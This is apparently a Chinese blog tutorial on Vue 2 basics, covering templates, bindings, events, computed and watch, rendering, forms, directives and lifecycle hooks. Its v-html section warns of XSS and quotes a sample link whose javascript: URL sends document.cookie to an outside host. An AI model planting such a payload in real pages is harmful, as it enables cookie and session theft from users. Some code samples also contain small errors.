(一）Vue核心-CSDN博客

本文链接：https://blog.csdn.net/qq_52986400/article/details/126245437

文章目录

1.1. Vue 简介

1.1.1. 官网

英文官网: https://vuejs.org/
中文官网: https://cn.vuejs.org/

1.1.2. 介绍与描述

动态构建用户界面的渐进式 JavaScript 框架
作者: 尤雨溪

1.1.3. Vue 的特点

在这里插入图片描述

遵循 MVVM 模式
编码简洁, 体积小, 运行效率高, 适合移动/PC 端开发
它本身只关注UI, 也可以引入其它第三方库开发项目

1.1.4 与其它 JS 框架的关联

借鉴Angular 的模板和数据绑定技术
借鉴React 的组件化和虚拟DOM 技术

1.1.5. Vue 周边库

vue-cli: vue 脚手架
vue-resource
axios
vue-router: 路由
vuex: 状态管理
element-ui: 基于vue 的UI 组件库(PC 端) ……

1.2 初识 Vue

1.3. 模板语法

1.3.1效果

1.3.2 模板的理解

html 中包含了一些JS 语法代码，语法分为两种，分别为：

插值语法（双大括号表达式）
指令（以v-开头）

<body>
    <!-- 
        Vue模板语法有2大类：
         1.插值语法：
         功能： 用于解析标签内容
         写法：{{xxx}},xxx是js表达式，且可以直接读取到data中的所有属性
         2.指令语法
         功能：用于解析标签（包括：标签属性、标签体内容，绑定事件...）。
         举例：v-bind:href="xxx"或简写为：href="xxx",xxx同样要写js表达式
         且可以直接读取到data中的所有属性
         备注：Vue中有很多的指令，且形式都是：v-????
     -->
    <div id="root">
        <h1>插值语法</h1>
        <h3>你好，{{name}}</h3>
        <hr/>
        <h1>指令标签</h1>
        <a v-bind:href="url">点我去百度</a>
        <a :href="url">点我去百度</a> //v-bind可以简写为：
    </div>
  
</body>
<script>
    new Vue({
        el:'#root',
        data:{
            name:'jack',
            url:'http://www.baidu.com'
        }
    })
</script>

1.3.3插值语法

功能: 用于解析标签体内容
语法: {{xxx}} ，xxxx 会作为js 表达式解析

1.3.4指令语法

功能: 解析标签属性、解析标签体内容、绑定事件
举例：v-bind:href = ‘xxxx’ ，xxxx 会作为js 表达式被解析
说明：Vue 中有有很多的指令，此处只是用v-bind 举个例子

1.4 数据绑定

1.4.1. 效果

在这里插入图片描述

1.4.2. 单向数据绑定

语法：v-bind:href =“xxx” 或简写为 :href
特点：数据只能从data 流向页面

1.4.3. 双向数据绑定

语法：v-mode:value=“xxx” 或简写为 v-model=“xxx”
特点：数据不仅能从data 流向页面，还能从页面流向 data

1.5 MVVM 模型

M：模型(Model) ：对应data 中的数据
V：视图(View) ：模板
VM：视图模型(ViewModel) ： Vue 实例对象

1.5.1数据代理

通过一个对象代理对另一个对象中属性的操作;

Vue中的数据代理：
通过vm对象来代理data对象中属性的操作（读/写）
Vue中数据代理的好处：

更加方便操作数据
基本原理

通过Object.defineProperty()把data对象中所有属性添加到vm上。为每一个添加到vm上的属性，都指定一个getter/setter.

在getter/setter内部去操作data中的数据.

<script>
    let obj = {x:100}
    let obj2 = { y:200 }

    Object.defineProperty(obj2,'x',{
        get(){
            return obj.x
        },
        set(value){
            obj.x = value
        }
    })
</script>

在这里插入图片描述

1.6 事件处理

1.6.1. 效果

```javascript
<body>

    <div id="root">
     <h2>欢迎来到{{name}}学习</h2>
     <button v-on:click="showInfo1">点我显示信息1</button>
    <button @click="showInfo2(66,$event)">点我显示信息2</button>
    </div>

</body>

<script>
new Vue({
    el:'#root',
    data:{
        name:'me'
    },
    methods:{
        showInfo1(event){
          //  console.log(this)此处的this是vm
            alert('同学你好!！')
        },
         showInfo2(number,event) {
            //  console.log(this)此处的this是vm
            alert('同学你好!！' + number + event)
        }
    }
})
</script>

1.6.2. 绑定监听

v-on:xxx=“fun”
@xxx=“fun”
@xxx=“fun(参数)”
默认事件形参: event
隐含属性对象: $event
👉事件的基本使用：
使用v-on:xxx或@xxx绑定事件，其中xxx是事件名；
事件的回调需要配置在methods对象中，最终会在vm上；
methods中配置的函数，不要用箭头函数！否则this就不是vm了；
methos中配置的函数，都是被Vue管理的函数
@click=“demo"和@click=”demo($event)“效果一致，但后者可以传参；

1.6.3. 事件修饰符

.prevent : 阻止事件的默认行为 event.preventDefault()
.stop : 停止事件冒泡 event.stopPropagation()

 <style>
        *{
            margin-top: 20px;
        }
        .demo1{
            height: 50px;
            background-color: skyblue;
        }
        .box1{
            padding: 5px;
            background-color: skyblue;
        }
        .box2{
            background-color: brown;
        }
        .list{
            width: 200px;
            height: 20px;
            background-color: peru;
            overflow: auto;
        }
        li{
            height: 100px;
        }
    </style>
</head>
<body>
    <div id="root">
       <h2>欢迎来到{{name}}学习</h2> 
       <a href="http:www.baidu.com" @click.prevent="showInfo">点我进入百度</a>
       <!-- 阻止事件冒泡 -->
       <div class="demo1" @click="showInfo">
        <button @click.stop="showInfo">点我提示信息</button>
       </div>
       <!-- 事件只触发一次 -->
       <button @click.once="showInfo">点我提示信息</button>
       <!-- 使用事件的捕获 -->
       <div class="box1" @click.capture="showMsg(1)">
        div1
          <div class="box2" @click="showMsg(2)">
            div2
          </div>
       </div>
       <!-- self:只有event.target是当前操作的元素时才触发事件 -->
       <div class="demo1" @click.self="showInfo">
          <button @click="showInfo">点我提示信息</button>
       </div>

       <!-- 事件的默认行为立即执行，无需等待事件回调执行完毕 -->
       <ul @wheel.passive="demo" class="list">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
       </ul>
    </div>
</body>
<script>
    new Vue({
        el: '#root',
        data: {
            name: 'me'
        },
        methods:{
            showInfo(e){
               // e.stopPropagation() //阻止事件冒泡
               //alert('同学，你好')
               console.log(e.target)
            },
            showMsg(msg){
              alert(msg)
            },
            demo(){
                for(let i = 0; i < 100000; i++){
                    console.log('#')
                }
              console.log('@')
            }
        }
    })
</script>

1.6.4. 按键修饰符

keycode : 操作的是某个keycode 值的键
.keyName : 操作的某个按键名的键(少部分)

<body>
    <div id="root">
        <h2>欢迎学习{{name}}</h2>
        <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">
    </div>
</body>
<script>
    new Vue({
        el: '#root',
        data: {
            name: 'Vue'
        },
        methods:{
            showInfo(e){
               // console.log(e.keyCode) 按住回车才开始输出
               // if(e.keyCode !== 13) return
                console.log(e.target.value)
            }
        }
    })
</script>

👉1.Vue中的常用的按键别名：

回车 => enter

删除 => delete

退出 => esc

空格 => space

换行 => tab（必须配合keydown用)

上 =>up

下 =>down

左 =>left

右 =>right
👉2.Vue未提供别名的按键，可以使用源是的key值去绑定，但注意要转为kebab-case（短横线命名）

CapsLock -> casps-lock

👉3.系统修饰符（用法特殊）：ctrl,alt,shift,meta

(1). 配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。

(2).配合keydown使用：正常触发事件

👉4.也可以使用keyCode去指定其他具体的按键（不推荐）
在这里插入图片描述

console.log(e.key,e.keyCode)

👉5. Vue.config.keyCode.自定义键名 = 键码，可以定制别名（不太推荐）

Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

1.7. 计算属性与监视

1.7.1. 效果

1.7.2. 计算属性-computed

要显示的数据不存在，要通过计算得来。
在computed 对象中定义计算属性。
在页面中使用{{方法名}}来显示计算的结果。

✊总结：

计算属性：

定义：要用的属性不存在，要通过已有属性计算得来。
原理: 底层借助了Objec.defineproperty方法提供的getter和setter。
get函数什么时候执行？

（1）初次读取时会执行一次。

（2）当依赖的数据发生变化时会被再次调用。

优势

与methods实现相比。
备注：

（1）计算属性最后会出在vm上，直接读取使用即可。

（2）如果计算属性要被修改，那必须写set函数去响应，且set函数去响应修改，且set中要引起计算时依赖的数据发生

<body>
    <div id="root">
       姓：<input type="text" v-model="firstName"> <br><br>
       名：<input type="text" v-model="lastName"> <br><br>
       全名：<span>{{fullName}}</span>
    </div>
</body>
<script>
    new Vue({
        el: '#root',
        data: {
           firstName:'张',
           lastName:'三'
        },
        computed:{
            fullName:{
                //get有什么作用？当有人读取fullName的时，get就会被调用，且返回值就作为fullName的值
                //get什么时候调用？1.初次读取fullName时。2.所依赖的数据发生变化时。
                get(){
                    console.log('get被调用了')
                // console.log(this) //此处的this是vm
                    return this.firstName + '-' + this.lastName
                },  
                set(){
                    //以后会被修改
                    //set什么时候调用？ 当fullName修改时
                    console.log('set',value)
                    const arr = value.split('-')
                    this.firstName = arr[0]
                    this.lastName = arr[1]
                }
            }
        }
    
    })
</script>

1.7.3. 监视属性-watch

在这里插入图片描述

通过通过vm 对象的$watch()或watch 配置来监视指定的属性
当属性变化时, 回调函数自动调用, 在函数内部进行计算

👉监视属性watch:

当被监视的属性变化时，回调函数自动调用，进行相关操作
监视的属性必须存在，才能进行监视
监视的两种方法：
（1）new Vue时传入watch配置

（2）通过vm.$watch监视

   <script>
    const vm = new Vue({
        el: '#root',
        data: {
           isHot:true
        },
        computed:{
            info(){
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods:{
            changeWeather(){
                this.isHot=!this.isHot
            } 
        },
        watch:{
            isHot:{
                //什么时候调用？当isHot发生改变时
                handler(newValue,oldValue){
                    immediate:true,//初始化时让handler调用一下
                    console.log('isHot被修改了',newValue,oldValue)
                }
            }
        }
    })

    vm.$watch('isHot',{
        immediate:true,//初始化时让handler调用一下
        handler(newValue,oldValue){
            console.log('isHot被修改了',newValue,oldValue)
        }
    })
</script>

👉深度监视

（1）Vue中的watch默认不监测对象内部值的改变（一层）。

（2）配置deep:true可以监测对象内部值变化（多层）。

备注：
（1）Vue自身可以检测对象内部值的变化，但Vue提供的watch默认不可以！

（2）使用watch时根据数据的具体结构，决定是否采用深度监视。

<script>
    const vm = new Vue({
        el: '#root',
        data: {
           isHot:true,
           numbers:{
            a:1,
            b:1
           }
        },
        computed:{
            info(){
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods:{
            changeWeather(){
                this.isHot=!this.isHot
            } 
        },
        watch:{
            isHot:{
                //什么时候调用？当isHot发生改变时
                handler(newValue,oldValue){
                   console.log('isHot被修改了',newValue,oldValue)
                }
            },
            //监视多级结构中某个属性的变化
            /* 'numbers.a':{
                handler(){
                    console.log('a被改变了')
                }
            } */
            numbers:{
                 deep: true,  //深度监视
                 handler(){
                    console.log('numbers改变了')
                 }
            }
        }
        
    })
</script>

监视的简写方式：
当watch（没有immediate和deep等)配置项只有handler时才可以采用简写
在这里插入图片描述

👉computed和watch的区别：

computed能完成的功能，watch都能完成
watch能完成的功能，watch不一定能完成，例如：watch可以进行异步操作

重要的两个小原则：

==Vue所管理的函数，最好写成普通函数，这样this的只想才是vm或组件实例对象。
所有不被Vue所管理的函数，（定时器的回调函数，ajax的回调函数等），做好写成箭头函数，这样this的执行才是vm或组件实例对象.

1.8. class 与 style 绑定

1.8.1. 理解

在应用界面中, 某个(些)元素的样式是变化的
class/style 绑定就是专门用来实现动态样式效果的技术

1.8.2. class 绑定

:class=‘xxx’
表达式是字符串: ‘classA’
表达式是对象: {classA:isA, classB: isB}
表达式是数组: [‘classA’, ‘classB’]

1.8.3. style 绑定

:style=“{ color: activeColor, fontSize: fontSize + ‘px’ }”
其中activeColor/fontSize 是data 属性

 <style>
        .basic{
            width: 400px;
            height: 100px;
            border: 1px solid black;
        }
        .happy{
            border: 4px solid red;
            background-color: rgb(255, 255, 0,0.644);
            background: linear-gradient(30deg,yellow,pink,orange,yellow);
        }
        .sad{
            border: 4px dashed rgb(2,192,2);
            background-color: gray;
        }
        .normal{
           background-color: skyblue;
        }
        .atguigu1{
            background-color: yellowgreen;
        }
        .atguigu2{
            font-size: 30px;
            text-shadow: 2px 2px 10px red;
        }
        .atguigu3{
            border-radius: 20px;
        }
    </style>
</head>

<body>
    <div id="root">
        <!-- 绑定class样式--字符串写法,适用于样式的类名不确定，需要动态决定 -->
        <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
        <!-- 绑定class样式--数组写法,适用于要绑定的样式个数不确定名字也不确定 -->
        <div class="basic" :class="arr">{{name}}</div>
        <!-- 绑定class样式--对象写法,适用于：要绑定的样式个数确定，名字确定，但要动态确定用不用 -->
        <div class="basic" :class="classObj">{{name}}</div>

        <div class="basic" :style="styleObj">{{name}}</div>
 </div>
</body>
<script>
    const vm = new Vue({
        el:'#root',
        data:{
            name:'mood',
            mood:'normal',
            arr:['atguigu1', 'atguigu2', 'atguigu3'],
            classObj:{
                atguigu1:false,
                atguigu2:false
            },
            styleObj:{
                fontSize:'40px'
            }
        },
        methods:{
            changeMood(){
                const arr = ['happy','sad','normal']
                const index = Math.floor(Math.random()*3)
                this.mood = arr[index]

            }
        }
    })

</script>

1.9. 条件渲染

1.9.1. 条件渲染指令

v-if 与v-else
v-show

1.9.2. 比较v-if 与v-show

如果需要频繁切换 v-show 较好
当条件不成立时, v-if 的所有子节点不会解析(项目中使用)

👉条件渲染：

1.v-if

写法:

(1)v-if=“表达式"

(2)v-else-if=“表达式”

(3)v-else=”表达式“

适用于：切换频率较低的场景。

特点：不展示的DOM元素直接被移出

注意：v-if可以和:v-else-if、v-else一起使用，但要求结构不能被”打断“。

2.v-show

写法：v-show=“表达式”

适用于：切换频率较高的场景。

特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏

3.备注：使用v-if的时候，元素可能无法获取到，而使用v-show一定可以获取到。

<body>
    <div id="root">
     <h2>当前的n值是{{n}}</h2>
     <button @click="n++">点我+1</button>
    <button @click="n = 0">点我置0</button>
    <div v-show="n % 3 === 0">Angular</div>
    <div v-show="n % 3 === 1">React</div>
    <div v-show="n % 3=== 2">Vue</div>

    <!-- <div v-if="n % 3 === 0">Angular</div>
    <div v-else-if="n % 3 === 1">React</div>
    <div v-else-if="n % 3=== 2">Vue</div> -->
   
    <template v-if="n===1">
        <h2>1</h2>
        <h2>2</h2>
        <h2>3</h2>
    </template>

</div>
</body>
<script>
    new Vue({
        el: '#root',
        data:{
            name: 'V',
            n:0
        }
    })
</script>

1.10. 列表渲染

1.10.1. 效果

在这里插入图片描述

 <div id="root">
        <!-- 遍历数组 -->
    <h2>人员列表（遍历数组）</h2>
      <ul>
        <li v-for="(p,index) in persons" :key="index">
           {{p.name}} -- {{p.age}}
        </li>
      </ul>
    <!-- 遍历对象 -->
     <h2>汽车信息（遍历对象）</h2>
      <ul>
        <li v-for="(value,k) in car" :key="k">
           {{k}} -- {{value}}
        </li>
      </ul>
      <!-- 遍历字符串 -->
       <h2>测试遍历字符串(用的少)</h2>
      <ul>
        <li v-for="(char,index) in str" :key="index">
           {{char}} -- {{index}}
        </li>
      </ul>

      <!-- 遍历指定次数 -->
       <h2>遍历指定次数（用的少）</h2>
      <ul>
        <li v-for="(number,index) in 5" :key="index">
           {{number}} -- {{index}}
        </li>
      </ul>
    </div>
</body>
<script>
    new Vue({
        el: '#root',
        data: {
           persons:[
            {id:'001',name:'张三',age:18},
            {id:'002',name:'李四',age:19},
            {id:'003',name:'王五',age:20},

           ],
           car:{
            name:'奥迪A8',
            price:'70万',
            color:'黑色'
            },
            str:'hello'
        }
    })
</script>

👉⭐
在这里插入图片描述

 <div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入名字" v-model="keyWord">
      <button @click="sortType = 2">年龄升序</button>
      <button @click="sortType = 1">年龄降序</button>
      <button @click="sortType = 0">原顺苏</button>
      <ul>
        <li v-for="(p,index) in filPersons" :key="index">
            {{p.name}} - {{p.age}}-{{p.sex}}
            </li>
    </ul>
    </div>

</body>

<script>
    //用computed实现
    new Vue({
        el: '#root',
        data: {
            keyWord:'',
            sortType:0,//0代表原顺序，1降序，2升序，
            persons:[
            {id:'001',name:'马冬梅',age:39,sex:'女'},
            {id:'002',name:'周冬雨',age:20,sex:'女'},
            {id:'003',name:'周杰伦',age:21,sex:'男'},
            {id:'004',name:'温兆伦',age:22,sex:'男'}
           ]
        },
        computed:{
            filPersons(){
                const arr = this.persons.filter((p)=>{
                    return p.name.indexOf(this.keyWord) !== -1
                })
                //判断一下是否需要排序
                if(this.sortType){
                    arr.sort((p1,p2)=>{
                        return this.sortType === 1?p2.age - p1.age :p1.age - p2.age
                    })
                }
                return arr
            }
        }
    })



</script>

数组常用修改方法：

push最后位置新增
pop删除最后一个
shift删除第一个
unshift前面加一个
splice指定位置插入/删除/替换
reverse反转数组

👏Vue监视数据的原理

Vue会监视data中所有层次的数据。
如何监测对象中的数据？

通过setter实现监视，且要在new Vue时就传入要监测的数据。

（1）对象中后追加的属性，Vue默认不做响应处理

（2）如需给后添加的属性做响应式，请使用如下API：

Vue.set(target,propertyName/index,value)或

vm.$set(target,propertyName/index,value)

如何让监测数组中的数据？

通过包裹数组更新元素的方法实现，本质就是做了两件事情：

（1）调用原生对应的方法对数组尽心更新

（2）重新解析模板，进而进行更新。
在Vue修改数组中的某个元素一定要使用如下方法：

1.使用这些API：push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2.Vue.set()或vm.$set()

特别注意：Vue.set()和vm.$set()不能给vm或vm的根数据对象添加属性

<div id="root">
      <h1>学生信息</h1>
      <button @click="student.age++">年龄+1</button><br>
      <button @click="addSex">添加性别属性，默认值：男</button><br>
      <button @click="student.sex = '未知'">修改性别</button><br>
      <button @click="addFriend">在列表首位添加一个朋友</button><br>
      <button @click="updateFirstName">修改第一个朋友的名字：张三</button><br>
      <button @click="addHobby">添加一个爱好</button><br>
      <button @click="changeFirstHobby">修改第一个爱好为：开车</button><br>

  <h3>姓名：{{student.name}}</h3>
  <h3>年龄：{{student.age}}</h3>
  <h3 v-if="student.sex">性别：{{student.sex}}</h3>
  <h3>爱好：</h3>
  <ul>
    <li v-for="(h,index) in student.hobby" :key="index">
         {{h}}
    </li>
  </ul>
 <h3>朋友们：</h3>
 <ul>
    <li v-for="(f,index) in student.friends" :key="index">
        {{f.name}}--{{f.age}}
    </li>
 </ul>

1.11. 收集表单数据

在这里插入图片描述
👉收集表单数据：

若<input type="text" />,则v-model收集的是value值，用户输入的就是value值

若<input type="radio" />，则v-model收集的是value值，且要给标签配置value值

若<input type="checkbox" />

1. 没有配置input的value属性，那么收集的就是checked(勾选 or 未勾选，是布尔值)

2.配置input的value属性：
（1）v-model的初始值是非数组，那么收集的就是checked

（2）v-model的初始值是数组，那么收集的就是value组成的数组

备注：v-model的三个修饰符：

lazy:失去焦点再收集数据

number:输入字符串转换为有效的数字

trim:输入首尾空格过滤

 <div id="root">
      <form @submit.prevent="demo">
        <!-- <label for="demo"> 账号：</label>
        <input type="text" id="demo"> -->
        账号：<input type="text" v-model.trim="account"><br><br>
        密码：<input type="password" v-model="password"><br><br>
        年龄：<input type="number" v-model.number="age"><br><br>
        性别：
        男<input type="radio" name="sex" v-model="sex" value="male">
        女<input type="radio" name="sex" v-model="sex" value="female"><br><br>
        爱好：
        学习<input type="checkbox" value="study">
        打游戏<input type="checkbox" value="game">
        吃饭<input type="checkbox" value="eat"><br><br>
        所属校区
        <select v-model="city">
            <option value="">请选择校区</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
        </select>
        <br><br>
        其他信息：
        <textarea v-model.lazy="other"></textarea>
         <br><br>
        <input type="checkbox" v-model="agree"> 阅读并接受<a href="#">《用户协议》</a>
        <br><br>
        <button>提交</button>
    </form>

 <div id="root">
      <form @submit.prevent="demo">
        <!-- <label for="demo"> 账号：</label>
        <input type="text" id="demo"> -->
        账号：<input type="text" v-model.trim="account"><br><br>
        密码：<input type="password" v-model="password"><br><br>
        年龄：<input type="number" v-model.number="age"><br><br>
        性别：
        男<input type="radio" name="sex" v-model="sex" value="male">
        女<input type="radio" name="sex" v-model="sex" value="female"><br><br>
        爱好：
        学习<input type="checkbox" value="study">
        打游戏<input type="checkbox" value="game">
        吃饭<input type="checkbox" value="eat"><br><br>
        所属校区
        <select v-model="city">
            <option value="">请选择校区</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
        </select>
        <br><br>
        其他信息：
        <textarea v-model.lazy="other"></textarea>
         <br><br>
        <input type="checkbox" v-model="agree"> 阅读并接受<a href="#">《用户协议》</a>
        <br><br>
        <button>提交</button>
    </form>

<script>
    new Vue({
        el: '#root',
        data: {
            account:'',
            password:'',
            age:'',
            sex:'female',
            hobby:[],
            city:'beijing',
            other:'',
            agree:''
        },
        methods:{
            demo(){
                console.log(JSON.stringify(this._data))
            }
        }
    })
</script>

1.12. 过滤器

1.12.1. 效果

在这里插入图片描述

1.12.2. 理解过滤器

功能: 对要显示的数据进行特定格式化后再显示
注意: 并没有改变原本的数据, 是产生新的对应的数据

👉语法：

注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
使用过滤器：{{xxx | 过滤器名}} 或 v-bind:属性=“xxx |过滤器名"

👉备注：

过滤器也可以接收额外参数、多个过滤器可以串联
并没有改变原本的数据，是产生新的对应数据

1.13. 内置指令与自定义指令

1.13.1. 常用内置指令

v-text : 更新元素的 textContent
v-html : 更新元素的 innerHTML
v-if : 如果为true, 当前标签才会输出到页面（条件渲染，动态控制节点是否存在）
v-else: 如果为false, 当前标签才会输出到页面
v-show : 通过控制display 样式来控制显示/隐藏
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 一般简写为@
v-bind : 绑定解析表达式, 可以省略v-bind（单向解析表达式，可简写为:xxx）
v-model : 双向数据绑定
v-cloak : 防止闪现, 与css 配合: [v-cloak] { display: none }

❣️v-text指令：

作用：向其所在的节点中渲染文本内容。
与插值语法的区别：v-text会替换节点中的内容，{{xx}}则不会。

❣️v-html指令：

作用：向指定节点中渲染包含html结构的内容。
与插值语法的区别

(1)v-html会替换节点中所有的内容，{{xx}}则不会。

(2)v-html可以识别html结构
严重注意：v-html有安全性问题！！

（1）在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

（2）一定要在可信的内容上使用v-html，永远不要在用户提交的内容上。

   <a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找你想要的资源了</a>'

❣️v-clock指令

本质是一个特殊属性，Vue实例创建完毕后并接管容器后，会删掉v-clock属性
使用css配合v-clock可以解决网速慢时页面展示出{{xxx}}的问题

❣️v-once指令：

v-once所有节点在初次动态渲染后，就视为静态内容了
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能

❣️v-pre指令：

跳过其节点所在的编译过程。
可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

自定义指令：

一、定义语法：
（1）局部指令：

new Vue({

directives:{指令名：配置对象}

})或

new Vue({

directives:{指令名：回调函数}

})

（2）全局质量：
Vue.directive(指令名，配置对象)或 Vue.directive(指令名，回调函数)

二、配置对象中常用的3个回调

（1）.bind:指令与元素成功绑定时调用。

（2）.insetrted:指令所在元素被插入页面时调用

（3）update:指令所在模板结构被重新解析时调用

三、备注：

指令定义时不加v-,但使用时要加v-
指令名如果是多个单词，要使用kebab-case命名方式，不要用camelCase命名。

1.14. Vue 实例生命周期

1.14.1. 效果

在这里插入图片描述
👉生命周期：

又名：生命周期回调函数、生命周期函数、生命周期钩子
是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数
生命周期的名字不可更改，但函数的具体内容是程序员根据需求编写的。
生命周期中的this指向是vm或组件实例对象
1.14.2. 生命周期流程图

1.14.3. vue 生命周期分析

初始化显示

* beforeCreate()

* created()

* beforeMount()

* mounted()

更新状态: this.xxx = value

* beforeUpdate()

* updated()

销毁vue 实例: vm.$destory()

* beforeDestory()

* destoryed()

1.14.4. 常用的生命周期方法

mounted(): 发送ajax 请求, 启动定时器、绑定自定义事件、订阅消息等异步任务
beforeDestory(): 做收尾工作, 如: 清除定时器、解绑自定义事件、取消订阅消息当

关于销毁Vue实例：

销毁后借助Vue开发者工具看不到任何信息
销毁后自动逸事件会失效，但原生DOM事件依然有效
一般不会再beforeDestroy操作数据，因为即便操作数据，也不会触发更新流程了。